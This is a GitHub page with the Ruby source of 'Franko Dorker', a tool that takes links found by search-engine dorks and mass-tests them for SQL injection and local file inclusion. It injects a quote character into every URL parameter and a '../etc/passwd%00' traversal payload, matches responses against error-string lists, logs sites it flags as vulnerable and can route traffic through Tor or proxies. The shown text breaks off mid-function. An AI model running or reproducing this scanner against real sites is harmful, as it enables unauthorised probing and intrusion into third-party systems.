-
Notifications
You must be signed in to change notification settings - Fork 2
/
Franko-Dorker.rb
1438 lines (1391 loc) · 69.1 KB
/
Franko-Dorker.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env ruby
# encoding: utf-8
#
# Franko Dorker: Best Dork Scanner
# Designed with Ruby in mind
# By: Abd Elrahman Mohamed
#
# Greeting from Egypt
# Enjoi World!
#Std Needed------------>
require 'fileutils'
require 'open-uri'
require 'optparse'
require 'resolv'
require 'thread'
require 'tmpdir'
#RubyGems Needed------------>
require 'rubygems'
require 'colorize'
require 'nokogiri'
require 'tor_requests'
#Party Rox------------>
#Trap any Interupts and exit cleanly, if you need to add cleanup code it can go here too...
trap("SIGINT") { puts "\n\nWARNING! CTRL+C Detected, Shutting things down and exiting program....".red ; exit 666; }
# Clean our results files.....
def logcleaner(file)
Dir.mkdir("results/backups") if not File.directory?("results/backups") #confirm results/old exists, if not create it
foo=[]
File.open("results/#{file}", 'r').each do |line|
foo << line
end
foo = foo.uniq
oldfile = [Time.now.strftime("%Y-%m-%d-%H%M%S"),file].join("_")
FileUtils.mv("results/#{file}", "results/backups/#{oldfile}")
foo.each do |line|
clean = File.new("results/#{file}", "a+")
clean.puts line
clean.close
end
end
#Quick class to handle terminal clearing for when you just need to start fresh
class Clear
def cls
if RUBY_PLATFORM =~ /win32/
system('cls')
else
system('clear')
end
end
end
#Class to print simple banner, nothing flashy here
class Banner
def print
if RUBY_PLATFORM =~ /win32/
system('cls')
else
system('clear')
end
puts
puts "
┏━━━┓╋╋╋╋╋╋╋┏┓╋╋╋╋╋┏━━━┓╋╋╋╋┏┓
┃┏━━┛╋╋╋╋╋╋╋┃┃╋╋╋╋╋┗┓┏┓┃╋╋╋╋┃┃
┃┗━━┳━┳━━┳━┓┃┃┏┳━━┓╋┃┃┃┣━━┳━┫┃┏┳━━┳━┓
┃┏━━┫┏┫┏┓┃┏┓┫┗┛┫┏┓┃╋┃┃┃┃┏┓┃┏┫┗┛┫┃━┫┏┛
┃┃╋╋┃┃┃┏┓┃┃┃┃┏┓┫┗┛┃┏┛┗┛┃┗┛┃┃┃┏┓┫┃━┫┃
┗┛╋╋┗┛┗┛┗┻┛┗┻┛┗┻━━┛┗━━━┻━━┻┛┗┛┗┻━━┻┛".green
puts "\tBy: ".blue + "Abd-Elrahman Mohamed".yellow
puts "\t\tfb: ".blue + "www.fb.com/boda.m7md".yellow
puts
end
end
#Class for various injection tests we can call and use as we find links from our Bing searches
class InjectorTest
def regexCheck(url, response, key, value) #Pass the injected url, a response body ARRAY and we will check if it has anything matching any of our special indicators, the key and value from our URL we were testing to get the response
# Signs of ColdFusion Server
coldfusion_err = [ "Invalid CFML construct found", "CFM compiler", "ColdFusion documentation", "Context validation error for tag cfif", "ERROR.queryString", "Error Executing Database Query", "SQLServer JDBC Driver", "coldFusion.sql.Parameter", "JDBC SQL", "JDBC error", "SequeLink JDBC Driver", "Invalid data .+ for CFSQLTYPE CF_SQL_INTEGER" ]
# Misc Errors, Coding Flaws, etc
misc_err= [ "Microsoft VBScript runtime", "Microsoft VBScript compilation", "Invision Power Board Database Error", "DB2 ODBC", "DB2 error", "DB2 Driver", "unexpected end of SQL command", "invalid query", "SQL command not properly ended", "An illegal character has been found in the statement", "Active Server Pages error", "ASP.NET_SessionId", "ASP.NET is configured to show verbose error messages", "A syntax error has occurred", "Unclosed quotation mark", "Input string was not in a correct format", "<b>Warning</b>: array_merge", "Warning: array_merge", "Warning: preg_match", "<b>Warning</b>: preg_match", "<exception-type>java.lang.Throwable" ]
# MS-Access
msaccess_err = [ "Microsoft JET Database Engine", "ADODB.Command", "ADODB.Field error", "Microsoft Access Driver", "ODBC Microsoft Access", "BOF or EOF" ]
# MS-SQL
mssql_err = [ "Microsoft OLE DB Provider for SQL Server error", "OLE/DB provider returned message", "ODBC SQL Server", "ODBC Error", "Microsoft SQL Native Client" ]
# MySQL
mysql_err = [ "<b>Warning</b>: mysql_query", "Warning: mysql_query", "<b>Warning</b>: mysql_fetch_row", "Warning: mysql_fetch_row", "<b>Warning</b>: mysql_fetch_array", "Warning: mysql_fetch_array", "<b>Warning</b>: mysql_fetch_assoc", "Warning: mysql_fetch_assoc", "<b>Warning</b>: mysql_fetch_object", "Warning: mysql_fetch_object", "<b>Warning</b>: mysql_numrows", "Warning: mysql_numrows", "<b>Warning</b>: mysql_num_rows", "Warning: mysql_num_rows", "MySQL Error", "MySQL ODBC", "MySQL Driver", "supplied argument is not a valid MySQL result resource", "error in your SQL syntax", "on MySQL result index", "JDBC MySQL", "<b>Warning</b>: mysql_result", "Warning: mysql_result" ]
# Oracle
oracle_err = [ "Oracle ODBC", "Oracle Error", "Oracle Driver", "Oracle DB2", "ODBC DB2", "ODBC Oracle", "JDBC Oracle", "ORA-01756", "ORA-00936", "ORA-00921", "ORA-01400", "ORA-01858", "ORA-06502", "ORA-00921", "ORA-01427", "ORA-00942", "<b>Warning</b>: ociexecute", "Warning: ociexecute", "<b>Warning</b>: ocifetchstatement", "Warning: ocifetchstatement", "<b>Warning</b>: ocifetchinto", "Warning: ocifetchinto", "error ORA-" ]
# Postgresql
pg_err = [ "<b>Warning</b>: pg_connect", "Warning: pg_connect", "<b>Warning</b>: simplexml_load_file", "Warning: simplexml_load_file", "Supplied argument is not a valid PostgreSQL result", "PostgreSQL query failed: ERROR: parser: parse error", "<b>Warning</b>: pg_exec", "Warning: pg_exec" ]
# File Includes
lfi_err = [ "<b>Warning</b>: include", "Warning: include", "<b>Warning</b>: require_once", "Warning: require_once", "Disallowed Parent Path", "<b>Warning</b>: main", "Warning: main", "<b>Warning</b>: session_start", "Warning: session_start", "<b>Warning</b>: getimagesize", "Warning: getimagesize", "<b>Warning</b>: include_once", "Warning: include_once" ]
# Eval()
eval_err = [ "eval()'d code</b> on line", "eval()'d code on line", "<b>Warning</b>: Division by zero", "Warning: Division by zero", "<b>Parse error</b>: syntax error, unexpected", "Parse error: syntax error, unexpected", "<b>Parse error</b>: parse error in", "Parse error: parse error in", "Notice: Undefined variable: node in eval", "<b>Notice</b>: Undefined variable: node in eval" ]
############Add Your Array for Regex Check and follow the cycles below to build your own for your added array...
#LFI Test
tracker=0
lfi_err.each do |lfi|
if @@tor == 'fuqya' #TOR Returns our response as a string whereas open-uri returns our response as an array so we need to handle slightly different...............>
response = response.unpack('C*').pack('U*') if !response.valid_encoding? #Thanks StackOverflow :) #Keeps us from having encoding issues since who knows what kind of shit we will be finding with random dorks and geo option (cyrilic? & others)
if response =~ /#{lfi}/
if tracker < 1
puts "[LFI] ".green + "#{lfi.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/lfi.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{lfi}/
if tracker < 1
puts "[LFI] ".green + "#{lfi.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/lfi.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
#Cold Fusion Test
tracker=0
coldfusion_err.each do |cold|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{cold}/
if tracker < 1
puts "[ColdFusion] ".green + "#{cold.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/coldfusion.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding? #Thanks StackOverflow :)
if resp_line =~ /#{cold}/
if tracker < 1
puts "[ColdFusion] ".green + "#{cold.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/coldfusion.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
end
tracker += 1
end
end
end
end
#MySQL Test
tracker=0
mysql_err.each do |lqsym|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{lqsym}/
if tracker < 1
puts "[MySQLi] ".green + "#{lqsym.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/mysqli.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{lqsym}/
if tracker < 1
puts "[MySQLi] ".green + "#{lqsym.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/mysqli.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
#MS-SQL Test
tracker=0
mssql_err.each do |lqssm|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{lqssm}/
if tracker < 1
puts "[MS-SQLi] ".green + "#{lqssm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/mssqli.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{lqssm}/
if tracker < 1
puts "[MS-SQLi] ".green + "#{lqssm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/mssqli.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
tracker=0
#MS-Access Test
msaccess_err.each do |lqsasm|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{lqsasm}/
if tracker < 1
puts "[MS-Access SQLi] ".green + "#{lqsasm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/msaccess.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{lqsasm}/
if tracker < 1
puts "[MS-Access SQLi] ".green + "#{lqsasm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/msaccess.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
#Postgresql Test
tracker=0
pg_err.each do |lqspg|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{lqspg}/
if tracker < 1
puts "[Postgres SQLi] ".green + "#{lqspg.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/pgsqli.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{lqspg}/
if tracker < 1
puts "[Postgres SQLi] ".green + "#{lqspg.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/pgsqli.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
#Oracle Test
tracker=0
oracle_err.each do |ora|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{ora}/
if tracker < 1
puts "[Oracle SQLi] ".green + "#{ora.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/oracle.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{ora}/
if tracker < 1
puts "[Oracle SQLi] ".green + "#{ora.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/oracle.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
#Misc Error Messages that might be worth investigating
tracker=0
misc_err.each do |misc|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{misc}/
if tracker < 1
puts "[Error => vuln?] ".green + "#{misc.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/misc.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /#{misc}/
if tracker < 1
puts "[Error => vuln?] ".green + "#{misc.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/misc.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
end
end
end
# Eval() Test
tracker=0
eval_err.each do |evalz|
if @@tor == 'fuqya'
response = response.unpack('C*').pack('U*') if !response.valid_encoding?
if response =~ /#{evalz}/
if tracker < 1
puts "[Eval()] ".green + "#{evalz.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/eval.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker += 1
end
end
else
response.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding? #Thanks StackOverflow :)
if resp_line =~ /#{evalz}/
if tracker < 1
puts "[Eval()] ".green + "#{evalz.sub(/<b>/, '').sub(/<\/b>/, '')}".green
puts "\t=> #{url.chomp}".cyan
puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".yellow unless key.nil?
puts "\t\t=> Original Value: ".cyan + "#{value}".yellow unless value.nil?
vlinks = File.new("results/eval.txt", "a+") #Open our file handle
vlinks.puts "#{url.chomp}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
end
tracker += 1
end
end
end
end
end
def quoteTest(num) #1=Single Dork, 2=File Option (threads?)
puts "Commencing Injection Tests".red + "....".cyan
File.open("results/links.txt", "r").each do |line|
if line =~ /r.msn.com/ or line =~ /bingads.microsoft.com/
next
end
begin
param = URI.parse(line).query #See if we cause any errors to weed out no parameter links....
#break paramaters into hash [ "key" => "value" ] formatting held in storage for easier manipulation
params = Hash[URI.parse(line).query.split('&').map{ |q| q.split('=') }]
puts "Testing Link".red + ": ".cyan + "#{line.chomp}".yellow
count=0
tracker=0
params.each do |key, value, para| #cycle through hash and print key and associated value
@key = key
@value = value
if params.length > 1 #Multiple Parameter Links
injlnk = line.sub("#{value}", "#{value}%27") #Set a injection link variable
@injlnk = injlnk
if count == 0
puts "\t=> Multiple Paramters, testing all".blue + "....".cyan
count += 1
end
if @@tor == 'fuqya'
#TOR Request
baseurl = URI(injlnk)
vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
else
#Normal
if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
#RUN NORMAL REQUEST
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
else
#RUN PROXY WITH AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
end
end
end
regexCheck(injlnk, vchk, key, value)
else #############<=ELSE SINGLE PARAMETER LINKS=>##############
injlnk = line.sub("#{value}", "#{value}%27") #Set a injection link variable
@injlnk = injlnk
if @@tor == 'fuqya'
#TOR Request
baseurl = URI(injlnk)
vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
else
if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
#RUN NORMAL REQUEST
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
else
#RUN PROXY WITH AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
end
end
end
regexCheck(injlnk, vchk, key, value)
end
end
#random HTTP errors, i.e. skip link but note error
rescue OpenURI::HTTPError => e
if e.to_s == "404 Not Found"
puts "\t=> #{e}".red
next
#############################################################
#Route to Blind Based INjection Tests for further review.....
#############################################################
elsif e.to_s == "500 Internal Server Error"
#something to scan page anyways for ASP stupid Winblows sites
puts "\t=> #{e}".red
puts "\tRunning additional checks".blue + ".....".yellow
foores = e.io.readlines
regexCheck(@injlnk, foores, @key, @value)
else
puts "\t=> #{e}".red
end
rescue Net::HTTPBadResponse
puts "\t=> Problem reading response due to TOR, sorry".red + "......".yellow
rescue Errno::ECONNREFUSED
puts "\t=> Problem communicating with site, connection refused".red + "!".yellow
rescue Errno::EHOSTUNREACH
puts "\t=> Problem communicating with site, host unreachable".red + "!".yellow
rescue EOFError
puts "\t=> Problem communicating with site".red + "....".yellow
rescue Errno::EINVAL => e
puts "\t=> #{e}".yellow
rescue SocketError
puts "\t=> Problem connecting to site".red + "....".yellow
rescue OpenSSL::SSL::SSLError
puts "\t=> Issues with Remote Host's OpenSSL Server Certificate".red + "....".yellow
rescue Errno::ENOENT
puts "\t=> Jacked URL parsing due to no value with parameter, sorry".red + "....".yellow
next
rescue Errno::ECONNRESET
puts "\t=> Problem connecting to site".red + "....".yellow
rescue RuntimeError => e
if e.to_s == 'Timeout::Error' # we took longer than read_timeout value said they could :p
puts "\t=> Connection Timeout".red + "!".cyan
#open-uri cant redirect properly from http to https due to a check it has built-in, so cant follow redirect :(
else
puts "\t=> Can't properly follow the redirect!".red
end
rescue Timeout::Error
#timeout of sorts...skip
puts "\t=> Connection Timeout!".red
rescue Errno::ETIMEDOUT
#timeout of sorts...skip
puts "\t=> Connection Timeout".red + "!".yellow
rescue TypeError
#Jacked up URL parsing or something like this....
puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".yellow
next
rescue URI::InvalidURIError
#Jacked up URL parsing or something like this....
puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".yellow
next
rescue NoMethodError => e
# If bad link cause error cause its not a link dont freak out....Dont do anything....got something better?
puts "Testing Link".red + ": ".cyan + "#{line.chomp}".yellow
puts "\t=> No Testable Paramaters!".red
#############################################################
## should we test sites with no parameters anyways? NOISY? ##
#############################################################
end
end
end
#LFI /etc/passwd Injection Test using a genric length injection and regex check for signs of success
def etcTest(num) #1=Single Dork, 2=File Option (threads?) #Am i using num var anymore??
puts "Commencing /etc/passwd LFI Injection Test now".red + "....".cyan
File.open("results/links.txt", "r").each do |line|
if line =~ /r.msn.com/ or line =~ /bingads.microsoft.com/
next
end
begin
param = URI.parse(line).query #See if we cause any errors to weed out no parameter links....
#break paramaters into hash [ "key" => "value" ] formatting held in storage for easier manipulation
params = Hash[URI.parse(line).query.split('&').map{ |q| q.split('=') }]
puts "Testing Link".red + ": ".cyan + "#{line.chomp}".yellow
count=0
tracker=0
params.each do |key, value| #cycle through hash and print key and associated value
@key = key
@value = value
if params.length > 1 #Multiple Parameter Links
injlnk = line.sub("#{value}", "../../../../../../../../../etc/passwd%00") #Set a injection link variable
@injlnk = injlnk
if count == 0
puts "\t=> Multiple Paramters, testing all".blue + "....".cyan
count += 1
end
if @@tor == 'fuqya'
#TOR Request
baseurl = URI(injlnk)
vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
else
#Normal
if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
#RUN NORMAL REQUEST
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
else
